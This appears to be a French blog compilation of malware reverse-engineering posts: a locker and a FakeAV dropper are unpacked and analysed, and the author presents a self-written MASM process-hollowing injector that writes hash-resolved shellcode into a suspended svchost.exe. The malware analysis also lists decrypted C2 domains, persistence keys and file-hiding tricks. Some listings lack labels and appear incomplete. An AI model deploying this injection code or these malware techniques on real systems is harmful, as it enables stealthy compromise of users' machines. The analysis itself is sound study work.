Ok, notre thread reprendra en 0x0040f160, revenons en arrière afin maitenant de breaker sur ZwWriteVirtualMemory, et modifier le buffer d'écriture.
Nous devons calculer où se situe le future eip du thread dans le buffer :

> hex(0x40F160 - 0x40A000) # new eip - adresse ou il start a ecrire
> hex(0x182408 + 0x5160)   # buffer + offset new eip


Si vous regardez bien la stack :

On continue l'éxécution ( après avoir bien configuré Olly : Just-in-time debugging ) :


On nous invite gentiment à debugger le programme (int3 ftw), à partir de là c'est gagné, on tombe sur du upx, la routine habituel, dump processus, reconstruction de l'IAT. Et on peut travailler tranquilement avec le locker et le p0wn.
Car malheuresement ils usent l'API StrCmpW, pour checker le code, un bp dessus est :


Le code est : "SEXXX".


Faire du re et apprendre des choses


L'autre jour sur IRC, on me balance un link vers un VX qui aboutit sur le download d'un FakeAV.
Le truc fun quand j'ai reverse la bête, j'ai appris une technique d'injection dans un processus qui est oldschool mais n'étant pas expert dans la matière, j'ai voulu la recoder.


Voici un extrait du disas commenté :

00403ACE  |.  FF90 70080000 CALL DWORD PTR DS:[EAX+870]              ;  kernel32.CreateProcessA
00403AD4  |.  85C0          TEST EAX,EAX
00403AD6  |.  0F84 9C000000 JE usps.00403B78
00403ADC  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403AE1  |.  53            PUSH EBX
00403AE2  |.  57            PUSH EDI
00403AE3  |.  FF90 74080000 CALL DWORD PTR DS:[EAX+874]              ;  kernel32.GetModuleHandleA
00403AE9  |.  8BF0          MOV ESI,EAX
00403AEB  |.  8B46 3C       MOV EAX,DWORD PTR DS:[ESI+3C]
00403AEE  |.  8B5C30 50     MOV EBX,DWORD PTR DS:[EAX+ESI+50]
00403AF2  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403AF7  |.  6A 40         PUSH 40                                  ;  flProtect = PAGE_EXECUTE_READWRITE
00403AF9  |.  68 00300000   PUSH 3000                                ;  flAllocationType = MEM_COMMIT | MEM_RESERVE
00403AFE  |.  53            PUSH EBX                                 ;  dwSize = 0xE000
00403AFF  |.  56            PUSH ESI                                 ;  lpAddress = 0x00400000
00403B00  |.  FF75 EC       PUSH DWORD PTR SS:[EBP-14]               ;  hProcess = PROCESS_INFORMATION->hProcess
00403B03  |.  FF90 78080000 CALL DWORD PTR DS:[EAX+878]              ;  kernel32.VirtualAllocEx
00403B09  |.  3BC7          CMP EAX,EDI
00403B0B  |.  74 60         JE SHORT usps.00403B6D
00403B0D  |.  8D4D E8       LEA ECX,DWORD PTR SS:[EBP-18]
00403B10  |.  51            PUSH ECX                                 ;  *lpNumberOfBytesWritten = 0x00B8FC6C
00403B11  |.  53            PUSH EBX                                 ;  nSize = 0xE000
00403B12  |.  56            PUSH ESI                                 ;  lpBuffer = 0x00400000
00403B13  |.  50            PUSH EAX                                 ;  lpBaseAddress = 0x00400000
00403B14  |.  FF75 EC       PUSH DWORD PTR SS:[EBP-14]               ;  hProcess = PROCESS_INFORMATION->hProcess
00403B17  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403B1C  |.  FF90 88080000 CALL DWORD PTR DS:[EAX+888]              ;  kernell32.WriteProcessMemory
00403B22  |.  8D85 D4FBFFFF LEA EAX,DWORD PTR SS:[EBP-42C]
00403B28  |.  50            PUSH EAX                                 ;  lpContext = 0x00B8F858
00403B29  |.  FF75 F0       PUSH DWORD PTR SS:[EBP-10]               ;  hThread = PROCESS_INFORMATION->hThread
00403B2C  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403B31  |.  FF90 84080000 CALL DWORD PTR DS:[EAX+884]              ;  kernel32.GetThreadContext
00403B37  |.  8D85 D4FBFFFF LEA EAX,DWORD PTR SS:[EBP-42C]
00403B3D  |.  50            PUSH EAX                                 ;  lpContext = 0x00B8F858
00403B3E  |.  FF75 F0       PUSH DWORD PTR SS:[EBP-10]               ;  hThread = 0xC0
00403B41  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403B46  |.  C785 8CFCFFFF>MOV DWORD PTR SS:[EBP-374],usps.00402EF5 ;  lpContext->Eip = 0x00402EF5 ( OEP )
00403B50  |.  FF90 80080000 CALL DWORD PTR DS:[EAX+880]              ;  kernel32.SetThreadContext
00403B56  |.  FF75 F0       PUSH DWORD PTR SS:[EBP-10]               ;  hThread = PROCESS_INFORMATION->hThread
00403B59  |.  A1 10C54000   MOV EAX,DWORD PTR DS:[40C510]
00403B5E  |.  FF90 7C080000 CALL DWORD PTR DS:[EAX+87C]              ;  kernel32.ResumeThread 

La méthode est toute simple :

A partir de là, j'étais en mesure de pouvoir réecrire la chose, seul soucis lorsque je vais injecter du code dans le processus cible, il va falloir que je resolv à la main les adresses des API dont j'ai besoin. (reconstruction d'IAT à l'éxécution).

Éxecutable injecté

Le code injecté est assez fun, je vais résoudre l'adresse de kernel32.dll, chercher l'adresse de la table de fonction, puis me balader sur la table de noms de fonctions, et calculer un hash pour chaque nom, que je comparerais avec un hash précalculé pour l'API que je désire appeler.
Dans l'exemple ici, j'affiche juste un message "It Works", donc je load User32.dll et fait un appel à MessageBoxA.
Bref le code parlera mieux de lui même :

.model flat,stdcall
option casemap:none 
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

assume fs:nothing


	 xor	edx, edx
	 ;; Get address of kernel32.dll
	 mov    edx, fs:[edx + 30h]  
	 mov    edx, [edx + 0Ch]

	 mov    edx, [edx + 14h]

	 mov	esi, [edx + 028h]
	 mov 	ecx, 24

	 xor 	edi, edi
	 xor	eax, eax
	 cmp	al, 'a' 
         jl 	not_lowercase
	 sub 	al, 020h

	 ror	edi, 13
         add 	edi, eax
	 loop 	loop_modname
	 cmp 	edi, 6A4ABC5Bh
         mov 	ebx, [edx + 10h]
	 mov 	edx, [edx]
	 jne 	next_mod

	 mov	eax, ebx
	 push 	ebx
	 push 	offset Addrkernel32
	 push 	offset Afonction
	 push 	offset Namefunc
	 push 	offset Aordinal
	 call 	filladdr 
	 lea		edi, Nuser
	 call		load_dll
	 push	eax
	 push 	offset Addruser32
	 push 	offset Afunuser32
	 push 	offset Nfunuser32
	 push 	offset Aorduser32
	 call 	filladdr 

	 push 	30h
	 push	offset Message
	 push	offset Message
	 push 	0
	 push 	4
	 push 	[Addruser32]
	 push 	[Nfunuser32]
	 push 	[Aorduser32]
	 push 	[Afunuser32]
	 push 	[HMessageBox]
	 call 	callapi
	 jmp	exit
;; -------------------------
;; Function : load_dll
;; Description : Load the desired dll
;; Parameters : EDI = Crypted name of the dll
;; Output : Eax = Adress of the loaded dll
;; -------------------------
	 push	      ebp
	 mov	      ebp, esp

	 push	      edi
	 push 	      1
	 push 	      [Addrkernel32]
	 push 	      [Namefunc]
	 push 	      [Aordinal]
	 push 	      [Afonction]
	 push 	      [HLoadLibrary]
	 call 	      callapi

;; -------------------------
;; Function : strlen
;; Description : Compute the length of a string
;; -------------------------------  
	 push	      edi
	 mov	      edi, dword ptr[esp + 08]

	 push 	      edi
	 xor 	      eax, eax
	 scas	byte ptr[edi]
	 jne 	symbol
	 xchg 	eax, edi
	 dec 	eax
	 pop 	edi
	 sub 	eax, edi
	 pop 	edi

;; -------------------------------
;; Function : xCRC32
;; Description : Calcul CRC32 for the desired string	
;; Parameters :
;; 	       - String
;; 	       - Length of the string
;; --------------------------------	
	 mov     ebp,esp
	 xor     eax,eax
	 mov     edx,dword ptr [ebp+24h]
	 mov     ecx,dword ptr [ebp+28h]
	 jecxz   @4
	 dec     eax
	 xor     al, byte ptr [edx]
       	 inc     edx
	 push    08
	 pop     ebx
       	 shr     eax,1
	 jnc     @3
	 push    edx
	 push    ecx
	 mov     ecx, 0EDB8h
	 mov     edx, eax
	 shr     eax, 16
	 xor     eax, ecx
	 mov     ecx, 08320h
	 xor     edx, ecx
	 and     edx, 0ffffh
	 shl     eax, 16
	 or	 eax, edx
	 pop     ecx
	 pop     edx
         dec     ebx
	 jnz     @2
	 loop    @1
	 not     eax
         mov     dword ptr [ebp + 1Ch], eax
;; -------------------------------
;; Function   : callapi
;; Description : Function for calling the desired api with all her arguments 
;; Parameters :
;; - Push all the arguments for the further called api
;; - Number of arguments for the further called api
;;   - Adress of the desired dll
;;   - Adress of name table of the desired dll
;;   - Adress of ordinal table of the desired dll
;;   - Adress of function table of the desired dll
;;   - Hash (CRC32) of the desired api to call
;; -------------------------------
	 push	ebp
	 mov   ebp,esp
	 mov   ecx,dword ptr [ebp + 01Ch]  ; Number of args
	 add   ecx, 7
	 mov   edx,dword ptr [ebp + 4 * ecx]
	 push  edx
	 dec   ecx
	 cmp   ecx, 7
	 jne   load
	 mov   edx, dword ptr [ebp + 018h] ; Addr dll
	 mov   esi, dword ptr [ebp + 014h] 	   ; Addr Name func
	 xor   ecx, ecx
	 add   eax, edx
	 mov   edi, eax
	 push  edx
	 lea   edi, [edi]
	 push  edi
	 call  strlen
	 pop   edi
	 mov   edx, eax
	 push  edx
	 push  edi
	 call  xCRC32
	 pop   edi
	 pop   edx
	 cmp   eax, dword ptr [ebp + 08h]  ; HashApi

	 pop   edx
	 je	   goob
	 jmp   nexte
	 inc   ecx
	 jmp   gob
	 shl   ecx, 1
	 add   ecx, dword ptr [ebp + 010h]  ; Addrordinal
	 xor   eax, eax
	 mov   ax, word ptr [ecx]
	 shl   eax, 2
	 add   eax, dword ptr [ebp + 0Ch]  ; Addrfonction
	 mov   eax, [eax]
	 add   eax, edx
	 call  eax
	 pop   ebp
;; -------------------------------
;; Function : filladdr
;; Description : usefull function for filling all information about a dll 
;; Parameters :
;; 	       - Addr of "ms-dos" header of the desired dll
;; 	       - Ptr to addr of name table
;; 	       - Ptr to addr of ordinal table
;; 	       - Ptr to addr of function table
;; --------------------------------
	 push	ebp
	 mov     ebp,esp
	 mov     ecx, dword ptr [ebp + 018h]
	 mov     ecx, [ecx + 03Ch]
	 add     ecx, dword ptr [ebp + 018h]
	 cmp     word ptr [ecx], 'EP'
	 jnz     exit
	 ;; Save Header addr
	 mov	edi, dword ptr[ebp + 014h]
	 mov 	[edi], eax
	 mov	edx, [ecx + 78h]
	 add 	edx, eax
	 mov 	ebx, [edx + 1ch]
	 add 	ebx, eax
	 ;; Save fun addr
	 mov	edi, dword ptr[ebp + 010h]
	 mov 	[edi], ebx
	 mov 	ebx, [edx + 20h]
	 add 	ebx, eax
	 ;; Save Name fun addr
	 mov   edi, dword ptr[ebp + 0Ch]
	 mov   [edi], ebx
	 mov   ebx, [edx + 24h]
	 add   ebx, eax
	 ;; Save ordinal addr
	 mov  edi, dword ptr[ebp + 08h]
	 mov  [edi], ebx
	 pop  ebp

;; Exit(0)
	 push	0
	 push 	1
	 push 	[Addrkernel32]

	 push 	[Namefunc]
	 push 	[Aordinal]
	 push 	[Afonction]

	 push 	[HExitProcess]
	 call 	callapi						

;; Address of kernel32.dll	
Addrkernel32   		dd	0
;; Adress of function table in kernel32.dll				
Afonction 		dd 	0
;; Adress of name function table in kernel32.dll			
Namefunc  	        dd 	0
;; Adress of ordinal's table in kernel32.dll				
Aordinal  	        dd 	0

;; Address of user32.dll
Addruser32		dd	0
;; Adress of function table in user32.dll
Afunuser32	       	dd	0

;; Adress of name function table in user32.dll
Nfunuser32	   	dd	0
;; Adress of ordinal's table in user32.dll
Aorduser32		dd	0 

Nuser			db	"user32.dll", 0 

;; Hash for kernel32.dll
HLoadLibrary    dd	03FC1BD8Dh
HExitProcess   	dd	0251097CCh

;; Hash for user32.dll
HMessageBox	dd	0572D5D8Eh
Message		db	"It Works !", 0 

end start

Le makefile qui va avec :

@echo off

if exist "creepy.obj" del "creepy.obj"
if exist "creepy.exe" del "creepy.exe"

\masm32\bin\ml /c /coff "creepy.asm"
if errorlevel 1 goto end

\masm32\bin\Link /SUBSYSTEM:WINDOWS /SECTION:.text,erw /BASE:0x400000 "creepy.obj"
 if errorlevel 1 goto end


Nous avons donc notre programme qui va être injecté, il nous faut le programme pour l'injecter mais avant j'ai écrit un script python pour transformer le binaire injecté en variable pour masm, afin de pouvoir l'inclure dans mon programme :

out = open("creepy_exe.asm", "w")
i = 0

count = 0
f = open ("creepy.exe", "rb" )

out.write("creepy db ")
while (1):
    tampon = f.read(1)

    if tampon == "":
    i = i + 1 
    if i % 8 == 0:    
        s = "0%02Xh\n" % ord(tampon)

        s = "0%02Xh, " % ord(tampon)

    count = count + 1

    if i % 8 == 0:

        i = 0
print "COUNT =", count        

Voilà il ne reste plus qu'à coder l'injecteur :

.model flat, stdcall
assume fs:nothing
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

include	creepy_exe.asm
scr      					db	"\svchost.exe", 0
len_code					dd	1536
oep_foffset					dd	200h
oep						dd 00401000h

SystemDir   db 256 dup(?)
Bwritten    dd ? 
Ctx         CONTEXT <?>
SuInfo      STARTUPINFO <?>


invoke		GetSystemDirectory, addr SystemDir, sizeof SystemDir
invoke 		lstrcat, addr SystemDir, addr scr
invoke 		CreateProcess, NULL, addr SystemDir, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, addr SuInfo,addr PrcInfo
invoke          VirtualAllocEx, PrcInfo.hProcess, oep, len_code, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov		eax, len_code
sub		eax, oep_foffset
mov		ebx, offset creepy
add		ebx, oep_foffset
invoke          WriteProcessMemory, PrcInfo.hProcess, oep, ebx, eax, Bwritten
mov 		Ctx.ContextFlags, CONTEXT_FULL
invoke 	 	GetThreadContext, PrcInfo.hThread, addr Ctx
push		oep
pop         	Ctx.regEax
invoke 	 	SetThreadContext, PrcInfo.hThread, addr Ctx
invoke		ResumeThread, PrcInfo.hThread
invoke 		ExitProcess, 0 

end start

Voilà, la bêtise que j'ai ecrite récemment et qui m'a bien amusé.


Just for the lulz, en reversant le malware il communiquait avec un serveur distant à l'aide du format XML. J'ai écrit un petit script python pour voir les communications :

import base64

def decrypt(s):
    res = ""

    for c in s:
        res += chr(ord(c) ^ 0x53)

    print res

ch1 = "HBhvITw8J21jbycgKj0wczo3bnRiYGJiYmFjY2RqdHxtb3whPDwnbQ=="
ch2 = """byE8PCdtbzE6PTU8czo3bnRgYGVqZGFgYGpidHM9J250Y3RzMSVudGd

ch3 = "byE8PCdtbyM6PTRzOjdudGBgZWpkYWBgamJ0fG1vfCE8PCdt"

f = open('527069638.dat', 'r')

s = f.read()



Output :

<?xml version="1.0"?>


OK<root>0<tsync id='3369723391'/></root>
<root><binfo id='3369723391' nt='0' bv='4.6' lt='LAN' os='Windows XP Professional '> </binfo></root>
<root><ping id='3369723391'/></root>


Vous reprendrez bien un peu de RE ?


Après la defcon, j'avais de grosse envie de continuer à reverse des choses (en l'occurence des binaires win32), j'ai donc voulu alller sur le site crackmes.de, mais malheuresement le site est indisponible actuellement.
Je décide donc d'aller plus loin et me pencher sur un malware, chose que j'ai déjà faite mais sur un blog non-officiel.
Je vais donc comme à mes habitudes sur le site malwaredomainlist.com et visite un domaine foireux pour récupérer un sample.


Name : pusk.exe
MD5 (pusk.exe) = 76e6e91590b47eba7f13ed164c867999
SHA1 (pusk.exe) = 833312a8b90851e68b75dbb6f1532b64df1e15fa
SHA256 (pusk.exe) = b05df025e7833f99691b019f8ee4656858cc721daa052ba26085be0d0b49d7ef

Break it

Première chose à faire c'est regarder si l'éxécutable est packé, pour ca on sort Peid :


Peid ne détecte rien, de plus la table d'IAT (Import Adress Table) bronche, tout du moins pas d'entrées vers GetProcAdress, LoadLibrary ...
Mais en regardant les strings présentes dans le binaire, on voit des "kernel32.dll", "ntdll.dll".
Je décide donc d'étudier le code de plu près avec le disas.
Je me rends compte qu'il decrypt un nouveau PE dans un zone alloué au préalable :


On sort lordPe et on va dump cette zone, et essayer de reconstruire le pe :


Si on avait voulu travailler avec ce dump, il aurait fallu éditer pas mal de choses(PeHEader, Sections...), mais j'ai juste dump pour le faire manger à Peid et voir si il me détectait quelque chose : Non.

En regardant le code de plus près, on peut voir ceci : ( image avec commentaire )


On regarde le memory map :


Il a effectivement changee l'accés de pas mal de zone mémoire qui lui sont propres.

On peut émettre l'hypothèse qu'il va re-unpack quelque chose dans cette zone étant donné qu'il a memset tout à 0x00.
On regarde le code plus loin et on voit un jump :

00A4137C    83C4 28         ADD ESP,28
00A4137F    83C4 08         ADD ESP,8
00A41382  - FF25 1C309700   JMP DWORD PTR DS:[40301C]                ; pusk.006631D0
00A41388    33D2            XOR EDX,EDX
00A4138A  ^ 0F85 B7FEFFFF   JNZ 00A41247

Qui nous fait tomber sur :


Hmm ca sauve tous nos registres (UPX Like ?), bah on descend dans le code et chercher un POPAD et un jmp :


Donc le real oep serait en "2634", de plus on voit des strings ASCII plutot intéressante :

"adw: start"
"adw: license self delete"
"adw: lang self delete"
"adw: install"

On va deja dump le process, fix l'IAT avec ImportRec et travailler sur ca ( je vais pas expliquer la tache, un paquet de tuto traite de ce sujet ).

Au tout dÉ le binaire va créer un thread pour la routine en 00602612 :

00602612    68 84966000     PUSH dump_.00609684              ; ASCII "adw: start def block thread"
00602617    E8 CA2B0000     CALL dump_.006051E6
0060261C    59              POP ECX
0060261D    68 6C966000     PUSH dump_.0060966C              ; UNICODE "MSASCui.exe"
00602622    E8 B1200000     CALL dump_.006046D8
00602627    68 D0070000     PUSH 7D0
0060262C    FF15 E0606000   CALL DWORD PTR DS:[<&kernel32.Sleep>]    ; kernel32.Sleep
00602632  ^ EB E9           JMP SHORT dump_.0060261D


Ce pauvre thread va juste checker si le programme "MSACui.exe" fait partie de la liste des process (routine 6046d8), et sleep pendant 2000 millisecondes, puis reboucle, ansi de suite.

Pour l'instant je vais partir sur la routine adw: install, ou l'on peut remarquer des choses fun :

00601FDC  |.  50            PUSH EAX
00601FDD  |.  68 80886000   PUSH dump_.00608880                      ;  UNICODE "ElCo]N}BMG"
00601FE2  |.  E8 621E0000   CALL dump_.00603E49
00601FED  |.  68 18956000   PUSH dump_.00609518                      ; /S2 = ".exe"
00601FF2  |.  50            PUSH EAX                                 ; |S1
00601FF3  |.  FF15 A4616000 CALL DWORD PTR DS:[<&shlwapi.StrCatW>]   ; \StrCatW

La routine 00603e49 est une simple routine pour decrypt les chaines (XOR 4), jai donc récupéré toutes les chaines du binaires et écrit un script python :

dump_8080 = "ElCo]N}BMG"

unknow = ["WkbpsevaXImgvkwkbpXSmj`kswXGqvvajpRavwmkjXTkhmgmawXW}wpai", "*a|a",
          "ghmgokh`*kvc?waevglfvae`*kvc", "Wkbpseva",
          ".A@W*p|p", "Vjcqrdw`YHlfwjvjcqYLkq`wk`q%@}uijw`wYAjrkijda",
          "Fm`fn@}`Vlbkdqpw`v", "Vds`_jk`Lkcjwhdqljk", "IjrWlvnCli`Q|u`v",
          "lppt>++!w+040*tlt;p}ta9wpepw", "ebbm`9!w""wqfm`9!w""esko",

def decrypt(ch):
    name = ""
    for c in ch:
        name += chr(ord(c) ^ 4)
    print "Name = " + name

for val in unknow:

Voici l'output :

Name = AhGkYJyFIC
Name = Software\Microsoft\Windows\CurrentVersion\Policies\System
Name = .exe
Name = http://%s/%s/%s-direct
Name = Adobe_Flash_Player.exe
Name = P1kAlMiG2Kb7FzP5tM1QBI6DSS92c31Apgjk9lVK
Name = clickold.org;searchbread.org
Name = Software
Name = 83a5f83b-5aa7-4fa7-bbf5-63829add296e
Name = *EDS.txt
Name = Rnguv`sd]Lhbsnrngu]Houdsodu!Dyqmnsds]Envomn`e
Name = Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Qnmhbhdr]@uu`bildour
Name = Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Qnmhbhdr]@rrnbh`uhnor
Name = .zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp
Name = BidbjDydRhfo`utsdr
Name = R`wd[nodHognsl`uhno
Name = MnvShrjGhmdUxqdr
Name = http://%s/404.php?type=stats
Name = affid=%ssubid=%sawok
Name = searchalike.org;clickjacksonville.org;searchatmosphere.org;searchbegan.org;searchant.org
Name = Adobe_Flash_Player.exe
Name = 86e8a495-357c-437c-b6e9-13e757bfabab
Name = 75fa38b7-8b94-4995-ad32-52e938867954
Name = dc16eb3c-e0f6-446f-8d27-912251f8e6da

On peut y voir en premier le nom de l'éxecutable qui va étre crée, des noms de domaines, une clef de registre, des urls ... etc.
Next :
La routine en 0060485C va simplement disable le task_manager, stack call de advapi32.RegSetValueExW


On regarde aussi la routine de crétion ( plutot recopie ) car c'est exactement le meme binaire qui est copiée : ( disas commenté)

00602157  |.  FF15 84616000 CALL DWORD PTR DS:[<&shell32.SHGetSpecialFol>;  shell32.SHGetSpecialFolderPathW
0060215D  |.  8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]
00602163  |.  50            PUSH EAX                                     ; /\Path = "C:\Documents and Settings\All Users\Application Data"
00602164  |.  FF15 A8616000 CALL DWORD PTR DS:[<&shlwapi.PathAddBackslas>; \PathAddBackslashW
00602170  |.  50            PUSH EAX                                     ; /S2 = "AhGkYJyFIC.exe"
00602171  |.  8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]               ; |
00602177  |.  50            PUSH EAX                                     ; |S1 = "C:\Documents and Settings\All Users\Application Data\"
00602178  |.  FF15 A4616000 CALL DWORD PTR DS:[<&shlwapi.StrCatW>]       ; \StrCatW
0060217E  |.  8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]
00602184  |.  56            PUSH ESI                                     ; /FailIfExists = FALSE
00602185  |.  50            PUSH EAX                                     ; |NewFileName = "C:\Documents and Settings\All Users\Application Data\AhGkYJyFIC.exe"
00602186  |.  8D85 D0FAFFFF LEA EAX,DWORD PTR SS:[EBP-530]               ; |
0060218C  |.  50            PUSH EAX                                     ; |ExistingFileName = "C:\Documents and Settings\analys\My Documents\T",E9,"l",E9,"chargements\pusk\dump_.exe"
0060218D  |.  FF15 E8606000 CALL DWORD PTR DS:[<&kernel32.CopyFileW>]    ; \CopyFileW
00602193  |.  6A 05         PUSH 5                                       ; /IsShown = 5
00602195  |.  56            PUSH ESI                                     ; |DefDir = NULL
00602196  |.  8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]               ; |
0060219C  |.  56            PUSH ESI                                     ; |Parameters = NULL
0060219D  |.  50            PUSH EAX                                     ; |FileName = "C:\Documents and Settings\All Users\Application Data\AhGkYJyFIC.exe"
0060219E  |.  68 78946000   PUSH dump_.00609478                          ; |Operation = "open"
006021A3  |.  56            PUSH ESI                                     ; |hWnd = NULL
006021A4      90            NOP                                          ; \ShellExecuteW

J'ai NOP le call à ShellExecute afin de pouvoir continuer à analyser le binaire.
Car plus loin il va ajouter une valeur dans la RegKey : Software\Microsoft\Windows\CurrentVersion\Run :

0012C6E4   80000001  |hKey = HKEY_CURRENT_USER
0012C6E8   0012C718  |Subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
0012C6EC   0012C6FC  \pHandle = 0012C6FC

0012C6D8   00000060  |hKey = 60
0012C6DC   0012CF74  |ValueName = "AhGkYJyFIC"
0012C6E0   00000000  |Reserved = 0
0012C6E4   00000001  |ValueType = REG_SZ
0012C6E8   0012E22C  |Buffer = 0012E22C
0012C6EC   00000086  \BufSize = 86 (134.)

Ce qui m'interessait de voir surtout après c'était la routine "adw download rootkit", mais malheuresement elle failed :(.


Les domaines ne répondent pas c'est dommage. Pareil pour la routine "adw download exe"...
On continue et on aboutit donc sur la routine "self delete" :

00602707  |> \68 08986000   PUSH dump_.00609808                                         ;  ASCII "adw: self delete"
0060270C  |.  E8 D52A0000   CALL dump_.006051E6
00602711  |.  59            POP ECX
00602712  |.  E8 7F2B0000   CALL dump_.00605296
00602717  |.  E9 D7010000   JMP dump_.006028F3

La routine 605296 delete le fichier et ensuite ExitProcess tout le code qui suit est obsolète.

Bon maitenant on peut bosser sur l'autre binaire.


MD5 (AhGkYJyFIC.exe) = 865ea9c1a3fbd1f089749951004b39aa
SHA1 (AhGkYJyFIC.exe) = 9162235f005d7b256d9034201799cdeb9731c14f
SHA256 (AhGkYJyFIC.exe) = 2c7cf2452d1a3f37a9985e7dfdbe2b349e2d5ee4755f5f14460279855c6d882e

On peut remarquer que nous n'avons pas la meme empreinte qu'au départ avec "pusk.exe".
L'unpacking se passe exactement de la meme maniere que pour le précédent binaire.
J'ai omis une chose lors de ma première analyse, une routine qui teste si son nom de process est "AhGkYJyFIC.exe" si c'est le cas on part sur la routine "adw: work"

006026AF  |> \E8 07FBFFFF   CALL dump_.006021BB
006026B4  |.  85C0          TEST EAX,EAX
006026B6  |.  75 64         JNZ SHORT dump_.0060271C
0060271C  |> \68 FC976000   PUSH dump_.006097FC                      ;  ASCII "adw: work"

Dans le disas on voit plusieurs call à CreateThread, 2 routines sont importantes à voir :


Crétion d'un fichier temporaire extrait des ressources :


On étudiera ce fichier aprés, c'est le fakeAV :]


Utilisation de l'éxecutable attrib.exe (man page) sur chacun des fichiers du disque dur, afin de les rendre tous "caché".
Et le pourquoi c'est que le programme en lui meme va modifier des clefs de registre qui changeront la visibilité de chacun des fichiers :
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" -> "CheckedValue" -> "0".


Voici le fakeAV que nous attendions tant :


En fait à partir de là, la partie est gagné en faisant un simple strings sur le binaire on trouvait la clef pour se register.


Une fois le logiciel register, ca va restaurer comme il faut les clefs de registre, le wallpaper, et rapeller attribute.exe sur tous les fichiers du disque.
Et ouvrir notepad avec le message suivant :

Thank you for your purchase, Windows XP Recovery!
Your activation code: 8475082234984902023718742058948
EDS URL: http://www.edsawake.org/customers/dl/Recovery.exe
Contact us through Help&Support section in the Windows XP Recovery menu or by phone +1.877.2820139

Voilà c'est la fin de cette article sur une occupation lorsque crackmes.de n'est pas disponible.

Pages : 1